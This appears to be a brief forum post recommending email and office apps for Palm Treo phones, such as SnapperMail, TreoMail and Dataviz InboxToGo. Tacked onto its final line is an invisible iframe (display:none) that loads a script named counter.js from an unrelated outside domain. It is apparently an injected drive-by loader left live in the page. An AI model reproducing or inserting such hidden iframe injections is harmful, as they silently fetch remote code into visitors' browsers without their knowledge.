These applications should work with any Treo:

BasejetMail
SnapperMail
TreoMail
Eudora Internet Suite This one is free.
Dataviz InboxToGo This one I like. Use inbox to go for email service and documents to go for Office 2000 apps( powerpoint, excel,word,ect)<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>